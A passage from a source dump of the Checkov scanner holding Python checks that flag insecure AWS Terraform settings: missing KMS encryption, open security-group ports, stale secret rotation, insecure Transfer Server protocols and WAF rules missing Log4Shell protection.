    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SagemakerDataQualityJobDefinitionVolumeEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume\"\n        id = \"CKV_AWS_368\"\n        supported_resources = ['aws_sagemaker_data_quality_job_definition']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"job_resources/[0]/cluster_config/[0]/volume_kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SagemakerDataQualityJobDefinitionVolumeEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SagemakerDomainEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SagemakerDomainEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_187\"\n        supported_resources = ['aws_sagemaker_domain', 'aws_sagemaker_notebook_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SagemakerDomainEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SagemakerEndpointConfigurationEncryption.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass SagemakerEndpointConfigurationEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the Sagemaker Endpoint is securely encrypted at rest\"\n        id = \"CKV_AWS_98\"\n        supported_resources = ['aws_sagemaker_endpoint_configuration']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'kms_key_arn'\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = SagemakerEndpointConfigurationEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SagemakerFlowDefinitionUsesKMS.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass SagemakerFlowDefinitionUsesKMS(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Amazon SageMaker Flow Definition uses KMS for output configurations\"\n        id = \"CKV_AWS_372\"\n        supported_resources = ['aws_sagemaker_flow_definition']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"output_config/[0]/kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SagemakerFlowDefinitionUsesKMS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SagemakerModelWithNetworkIsolation.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SagemakerModelWithNetworkIsolation(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Amazon SageMaker model uses network isolation\"\n        id = \"CKV_AWS_370\"\n        supported_resources = ['aws_sagemaker_model']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"enable_network_isolation\"\n\n\ncheck = SagemakerModelWithNetworkIsolation()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SagemakerNotebookEncryption.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SagemakerNotebookEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure SageMaker Notebook is encrypted at rest using KMS CMK\"\n        id = \"CKV_AWS_22\"\n        supported_resources = ['aws_sagemaker_notebook_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SagemakerNotebookEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SagemakerNotebookInCustomVPC.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SagemakerNotebookInCustomVPC(BaseResourceValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21),\n        NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16),\n        NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4),\n        NIST.800-53.r5 SC-7(9)\n        \"\"\"\n        name = \"Ensure SageMaker notebook instances should be launched into a custom VPC\"\n        id = \"CKV_AWS_306\"\n        supported_resources = ['aws_sagemaker_notebook_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'subnet_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SagemakerNotebookInCustomVPC()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SagemakerNotebookInstanceAllowsIMDSv2(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2\"\n        id = \"CKV_AWS_371\"\n        supported_resources = ['aws_sagemaker_notebook_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'instance_metadata_service_configuration/[0]/minimum_instance_metadata_service_version'\n\n    def get_expected_value(self):\n        return \"2\"\n\n\ncheck = SagemakerNotebookInstanceAllowsIMDSv2()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SagemakerNotebookRoot.py",
    "content": "\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SagemakerNotebookRoot(BaseResourceValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AC-2(1), NIST.800-53.r5 AC-3(15), NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-6, NIST.800-53.r5\n        AC-6(10), NIST.800-53.r5 AC-6(2)\n        \"\"\"\n        name = \"Ensure SageMaker Users should not have root access to SageMaker notebook instances\"\n        id = \"CKV_AWS_307\"\n        supported_resources = ['aws_sagemaker_notebook_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return 'root_access'\n\n    def get_expected_value(self):\n        return \"Disabled\"\n\n\ncheck = SagemakerNotebookRoot()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SchedulerScheduleUsesCMK.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SchedulerScheduleUsesCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure EventBridge Scheduler Schedule uses Customer Managed Key (CMK)\"\n        id = \"CKV_AWS_297\"\n        supported_resources = (\"aws_scheduler_schedule\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_key_arn\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = SchedulerScheduleUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SecretManagerSecret90days.py",
    "content": "from __future__ import annotations\nimport re\nfrom typing import Any\n\nfrom checkov.common.util.type_forcers import force_int\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass SecretManagerSecret90days(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Secrets Manager secrets should be rotated within 90 days\"\n        id = \"CKV_AWS_304\"\n        supported_resources = (\"aws_secretsmanager_secret_rotation\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def _check_rate_expression(self, expression: str) -> bool:\n        rate_match = re.match(r'rate\\((\\d+)\\s+(days?|hours?|minutes?)\\)', expression)\n        if rate_match:\n            value = int(rate_match.group(1))\n            unit = rate_match.group(2)\n\n            if unit.startswith('day'):\n                return value < 90\n            elif unit.startswith('hour'):\n                return value < 2160  # 90 days * 24 hours\n            elif unit.startswith('minute'):\n                return value < 129600  # 90 days * 24 hours * 60 minutes\n        return False\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"rotation_rules\"]\n        rules = conf.get(\"rotation_rules\")\n        if rules and isinstance(rules, list):\n            rotation_rule = rules[0]\n\n            # Check for automatically_after_days\n            days = rotation_rule.get('automatically_after_days')\n            if days and isinstance(days, list):\n                self.evaluated_keys = [\"rotation_rules/[0]/automatically_after_days\"]\n                days = force_int(days[0])\n                if days is not None and days < 90:\n                    return CheckResult.PASSED\n\n            # Check for schedule_expression\n            schedule = rotation_rule.get('schedule_expression')\n            if schedule and isinstance(schedule, list):\n                self.evaluated_keys = [\"rotation_rules/[0]/schedule_expression\"]\n                expression = schedule[0]\n\n                if expression.startswith('rate('):\n                    return CheckResult.PASSED if self._check_rate_expression(expression) else CheckResult.FAILED\n                elif expression.startswith('cron('):\n                    # TODO: Handle failing cron expressions\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = SecretManagerSecret90days()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SecretManagerSecretEncrypted.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass SecretManagerSecretEncrypted(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure that Secrets Manager secret is encrypted using KMS CMK\"\n        id = \"CKV_AWS_149\"\n        supported_resources = [\"aws_secretsmanager_secret\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        aws_kms_alias = 'aws/'\n        kms_key_id = force_list(conf.get('kms_key_id', []))\n        if not kms_key_id or not kms_key_id[0]:\n            return CheckResult.FAILED\n        else:\n            return CheckResult.FAILED if aws_kms_alias in kms_key_id[0] else CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['kms_key_id']\n\n\ncheck = SecretManagerSecretEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SecurityGroupRuleDescription(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure every security group and rule has a description\"\n        id = \"CKV_AWS_23\"\n        supported_resource = [\n            'aws_security_group',\n            'aws_security_group_rule',\n            'aws_db_security_group',\n            'aws_elasticache_security_group',\n            'aws_redshift_security_group',\n            'aws_vpc_security_group_egress_rule',\n            'aws_vpc_security_group_ingress_rule'\n        ]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for description at security group  rules :\n            https://www.terraform.io/docs/providers/aws/r/security_group.html\n        :param conf: aws_security_group configuration\n        :return: <CheckResult>\n        \"\"\"\n        group_result = self.check_rule(rule_type='group_or_rule_description', conf=conf)\n        if 'type' not in conf.keys():\n            # 'type' attribute only exists and is required for aws_security_group_rule resources.\n            # Therefore, only if 'type' is not present, ingress and egress blocks must be checked in the resource.\n            egress_result = self.check_rule(rule_type='egress', conf=conf)\n            ingress_result = self.check_rule(rule_type='ingress', conf=conf)\n            if group_result == CheckResult.PASSED and egress_result == CheckResult.PASSED and ingress_result == CheckResult.PASSED:\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        return group_result\n\n    def check_rule(self, rule_type, conf):\n        if rule_type == 'group_or_rule_description':\n            if 'description' in conf.keys():\n                self.evaluated_keys = ['description']\n                if conf['description']:\n                    return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        if rule_type in conf.keys():\n            for rule in conf[rule_type]:\n                if isinstance(rule, dict) and ('description' not in rule.keys() or not rule['description']):\n                    self.evaluated_keys.append(f'{rule_type}/[{conf[rule_type].index(rule)}]')\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = SecurityGroupRuleDescription()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py",
    "content": "from checkov.terraform.checks.resource.aws.AbsSecurityGroupUnrestrictedEgress import\\\n    AbsSecurityGroupUnrestrictedEgress\n\n\nclass SecurityGroupUnrestrictedEgressAll(AbsSecurityGroupUnrestrictedEgress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_382\", port=-1)\n\n\ncheck = SecurityGroupUnrestrictedEgressAll()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py",
    "content": "from checkov.terraform.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngress22(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_24\", port=22)\n\n\ncheck = SecurityGroupUnrestrictedIngress22()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py",
    "content": "from checkov.terraform.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngress3389(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_25\", port=3389)\n\n\ncheck = SecurityGroupUnrestrictedIngress3389()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py",
    "content": "from checkov.terraform.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngress80(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_260\", port=80)\n\n\ncheck = SecurityGroupUnrestrictedIngress80()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py",
    "content": "from checkov.terraform.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import\\\n    AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngressAll(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_277\", port=-1)\n\n\ncheck = SecurityGroupUnrestrictedIngressAll()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SesConfigurationSetDefinesTLS.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass SesConfigurationSetDefinesTLS(BaseResourceValueCheck):\n\n    def __init__(self) -> None:\n        name = \"Ensure SES Configuration Set enforces TLS usage\"\n        id = \"CKV_AWS_365\"\n        supported_resources = ['aws_ses_configuration_set']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"delivery_options/[0]/tls_policy\"\n\n    def get_expected_value(self) -> str:\n        return \"Require\"\n\n\ncheck = SesConfigurationSetDefinesTLS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/StateMachineLoggingExecutionHistory.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass StateMachineLoggingExecutionHistory(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure State Machine has execution history logging enabled\"\n        id = \"CKV_AWS_285\"\n        supported_resources = ['aws_sfn_state_machine']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"logging_configuration/[0]/include_execution_data\"\n\n\ncheck = StateMachineLoggingExecutionHistory()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/StateMachineXray.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass StateMachineXray(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure State Machine has X-Ray tracing enabled\"\n        id = \"CKV_AWS_284\"\n        supported_resources = ['aws_sfn_state_machine']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"tracing_configuration/[0]/enabled\"\n\n\ncheck = StateMachineXray()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/SubnetPublicIP.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass SubnetPublicIP(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure VPC subnets do not assign public IP by default\"\n        id = \"CKV_AWS_130\"\n        supported_resources = ['aws_subnet']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_forbidden_values(self):\n        return [True]\n\n    def get_inspected_key(self):\n        return \"map_public_ip_on_launch\"\n\n\ncheck = SubnetPublicIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/TimestreamDatabaseKMSKey.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass TimestreamDatabaseKMSKey(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Timestream database is encrypted with KMS CMK\"\n        id = \"CKV_AWS_160\"\n        supported_resources = [\"aws_timestreamwrite_database\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = TimestreamDatabaseKMSKey()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/TransferServerAllowsOnlySecureProtocols.py",
    "content": "from __future__ import annotations\n\nfrom typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass TransferServerAllowsOnlySecureProtocols(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Transfer Server allows only secure protocols\"\n        id = \"CKV_AWS_357\"\n        supported_resources = (\"aws_transfer_server\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        protocols = conf.get(\"protocols\")\n        if protocols and isinstance(protocols, list):\n            if \"FTP\" in protocols[0]:\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"protocols\"]\n\n\ncheck = TransferServerAllowsOnlySecureProtocols()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/TransferServerIsPublic.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass TransferServerIsPublic(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Transfer Server is not exposed publicly.\"\n        id = \"CKV_AWS_164\"\n        supported_resources = (\"aws_transfer_server\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"endpoint_type\"\n\n    def get_expected_values(self) -> list[Any]:\n        return [\"VPC\", \"VPC_ENDPOINT\"]\n\n\ncheck = TransferServerIsPublic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/TransferServerLatestPolicy.py",
    "content": "from datetime import datetime\nfrom typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass TransferServerLatestPolicy(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AWS Transfer Server uses latest Security Policy\"\n        id = \"CKV_AWS_380\"\n        supported_resources = ('aws_transfer_server',)\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def __check_policy_date(self, policy_string: str) -> bool:\n        # Extract the year and month from the policy string\n        # We assume that the year and month appear in the format 'YYYY-MM'\n\n        # Split the string based on the '-' separator\n        parts = policy_string.split('-')\n\n        # Loop through the parts and check for the first valid year-month pair\n        for i in range(len(parts) - 1):\n            # Try to form a year-month date from consecutive parts\n            year = parts[i]\n            month = parts[i + 1]\n\n            try:\n                # If both year and month are integers and valid, create the date\n                policy_date = datetime(int(year), int(month), 1)\n                break\n            except ValueError:\n                continue\n        else:\n            # If no valid year-month combination is found, raise an error\n            raise ValueError(\"No valid date found in the policy string.\")\n\n        # Get the current date\n        current_date = datetime.now()\n\n        # Calculate the time difference in months\n        years_diff = current_date.year - policy_date.year\n        months_diff = current_date.month - policy_date.month\n\n        total_months_diff = years_diff * 12 + months_diff\n\n        # If the difference is more than or equal to 24 months, return False\n        return total_months_diff < 24\n\n    def scan_resource_conf(self, conf: any) -> CheckResult:\n        \"\"\"\n        Makes sure the Security Policy is no older than 2 years\n        \"\"\"\n        security_policy = conf.get('security_policy_name')\n        if security_policy:\n            if self.__check_policy_date(security_policy[0]):\n                return CheckResult.PASSED\n        return CheckResult.FAILED  # default is TransferSecurityPolicy-2018-11 which is old: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/transfer_server\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"security_policy_name\"]\n\n\ncheck = TransferServerLatestPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/UnpatchedAuroraPostgresDB.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass UnpatchedAuroraPostgresDB(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure AWS Aurora PostgreSQL is not exposed to local file read vulnerability\"\n        id = \"CKV_AWS_388\"\n        supported_resources = ['aws_db_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'engine' in conf and 'aurora-postgresql' in conf['engine']:\n            if 'engine_version' in conf and conf['engine_version'][0] in ['10.11', '10.12', '10.13', '11.6', '11.7', '11.8']:\n                self.evaluated_keys = ['engine', 'engine-version']\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = UnpatchedAuroraPostgresDB()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/VPCDefaultNetwork.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass VPCDefaultNetwork(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no default VPC is planned to be provisioned\"\n        id = \"CKV_AWS_148\"\n        supported_resources = (\"aws_default_vpc\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        \"\"\"\n            Checks if there is any attempt to create a default VPC configuration :\n            https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/default_vpc\n            :param conf: aws_default_vpc configuration\n            :return: <CheckResult>\n        \"\"\"\n        return CheckResult.FAILED\n\n\ncheck = VPCDefaultNetwork()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/VPCEndpointAcceptanceConfigured.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass VPCEndpointAcceptanceConfigured(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that VPC Endpoint Service is configured for Manual Acceptance\"\n        id = \"CKV_AWS_123\"\n        supported_resources = ['aws_vpc_endpoint_service']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'acceptance_required'\n\n\ncheck = VPCEndpointAcceptanceConfigured()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/WAFACLCVE202144228.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass WAFACLCVE202144228(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell\"\n        id = \"CKV_AWS_192\"\n        supported_resources = [\"aws_wafv2_web_acl\"]\n        categories = [CheckCategories.APPLICATION_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"rule\"]\n        rules = conf.get(\"rule\") or []\n        for idx_rule, rule in enumerate(force_list(rules)):\n            self.evaluated_keys = [f\"rule/[{idx_rule}]/statement\"]\n            statement = rule.get(\"statement\")\n            if statement:\n                self.evaluated_keys = [f\"rule/[{idx_rule}]/statement/[0]/managed_rule_group_statement\"]\n                if not isinstance(statement, list) or not isinstance(statement[0], dict):\n                    return CheckResult.UNKNOWN\n                managed_group = statement[0].get(\"managed_rule_group_statement\")\n                if managed_group:\n                    self.evaluated_keys = [f\"rule/[{idx_rule}]/statement/[0]/managed_rule_group_statement/[0]/name\"]\n                    if managed_group[0] and managed_group[0].get(\"name\") == [\"AWSManagedRulesKnownBadInputsRuleSet\"]:\n                        self.evaluated_keys.append(\n                            f\"rule/[{idx_rule}]/statement/[0]/managed_rule_group_statement/[0]/excluded_rule\"\n                        )\n                        excluded_rules = managed_group[0].get(\"excluded_rule\") or []\n                        # rule 'Log4JRCE' should not be set to count\n                        for idx_excluded_rule, excluded_rule in enumerate(force_list(excluded_rules)):\n                            if excluded_rule and excluded_rule.get(\"name\") == [\"Log4JRCE\"]:\n                                self.evaluated_keys = [\n                                    f\"rule/[{idx_rule}]/statement/[0]/managed_rule_group_statement/[0]/name\",\n                                    f\"rule/[{idx_rule}]/statement/[0]/managed_rule_group_statement/[0]/excluded_rule/[{idx_excluded_rule}]/name\",\n                                ]\n                                return CheckResult.FAILED\n\n                        self.evaluated_keys.append(\n                            f\"rule/[{idx_rule}]/override_action/[0]/none\"\n                        )\n                        override_action = rule.get(\"override_action\")\n                        # check for group override\n                        override_action_none = override_action[0].get(\"none\")\n                        # Terraform plan includes both keys, but one is a dict and the not chosen one a list\n                        if not override_action_none or not isinstance(override_action_none[0], dict):\n                            return CheckResult.FAILED\n\n                        return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = WAFACLCVE202144228()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/WAFEnabled.py",
